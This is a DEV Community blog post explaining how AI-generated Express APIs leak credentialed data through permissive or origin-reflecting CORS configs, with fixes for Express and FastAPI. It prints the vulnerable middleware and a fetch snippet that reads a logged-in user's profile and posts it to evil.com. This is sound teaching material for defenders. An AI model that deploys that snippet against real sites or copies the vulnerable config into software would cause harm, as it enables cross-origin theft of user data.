DEV Community

Cover image for Your AI-Generated API Is Probably Leaking Credentials via CORS
Chandan Karn
Chandan Karn

Posted on

Your AI-Generated API Is Probably Leaking Credentials via CORS

TL;DR

  • AI assistants routinely generate CORS configs that allow any origin to read credentialed responses
  • This is exploitable from any attacker-controlled website, no phishing required
  • Fix: whitelist origins explicitly and never combine wildcard origins with credentials

I was reviewing a side project last month - a small Express API a friend had built with Cursor. The app handled user sessions with JWT cookies. Functionally it worked fine. But the CORS config caught my eye immediately.

This is what the AI had generated:

// CWE-942: Permissive Cross-domain Policy with Untrusted Domains
app.use(cors({
  origin: '*',
  credentials: true
}));
Enter fullscreen mode Exit fullscreen mode

That combination isn't just wrong. It's exploitable. Any website a user visits can make credentialed requests to this API and read the response. The browser actually refuses the * + credentials combo per spec, but developers hit the resulting CORS error and "fix" it by reflecting the Origin header back instead:

app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin); // CWE-942
  res.header('Access-Control-Allow-Credentials', 'true');
  next();
});
Enter fullscreen mode Exit fullscreen mode

Now it works. And now any attacker can do this from evil.com:

fetch('https://yourapi.com/api/user/profile', {
  credentials: 'include'
}).then(r => r.json()).then(data => {
  fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(data) });
});
Enter fullscreen mode Exit fullscreen mode

The user just has to visit a page the attacker controls while logged into your app. No phishing. No malware install. Just a browser doing exactly what you told it to do.

Why AI Keeps Generating This

The CORS pattern that saturates Stack Overflow from 2016 to 2019 is overwhelmingly origin: '*'. It was the fastest fix for a frustrated developer hitting CORS errors during local development. Thousands of answers, tutorials, and GitHub repos used it. Models trained on that data reproduce it.

The credentials flag gets added separately, usually when someone asks "how do I send cookies with fetch?" The model obliges without connecting the two pieces. It doesn't reason about their interaction. It matches patterns from training data where those questions appeared independently.

The Fix

Whitelist origins explicitly. If you need credentials, you must specify exact origins:

const allowedOrigins = [
  'https://yourapp.com',
  'https://staging.yourapp.com'
];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, origin);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true
}));
Enter fullscreen mode Exit fullscreen mode

The !origin check allows server-to-server requests and curl, which send no Origin header. Remove it if you want to block those too.

For FastAPI:

from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
  CORSMiddleware,
  allow_origins=["https://yourapp.com"],  # never "*" with credentials
  allow_credentials=True,
  allow_methods=["GET", "POST"],
  allow_headers=["Authorization"],
)
Enter fullscreen mode Exit fullscreen mode

FastAPI will warn if you combine allow_credentials=True with allow_origins=["*"], but it's easy to miss in noisy logs.

Checking Your Own Projects

Grep your codebase for the combination:

grep -rn "credentials.*true\|allow_credentials.*True" . | grep -v "node_modules"
Enter fullscreen mode Exit fullscreen mode

Check every hit. Verify the corresponding origin handling is explicit, not wildcard or reflective. If you find a CORS middleware that echoes req.headers.origin back without checking it against a list, that's the bug.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags these patterns before I move on. That said, even a basic pre-commit hook with semgrep and gitleaks will catch most of what's in this post. The important thing is catching it early, whatever tool you use.

Top comments (0)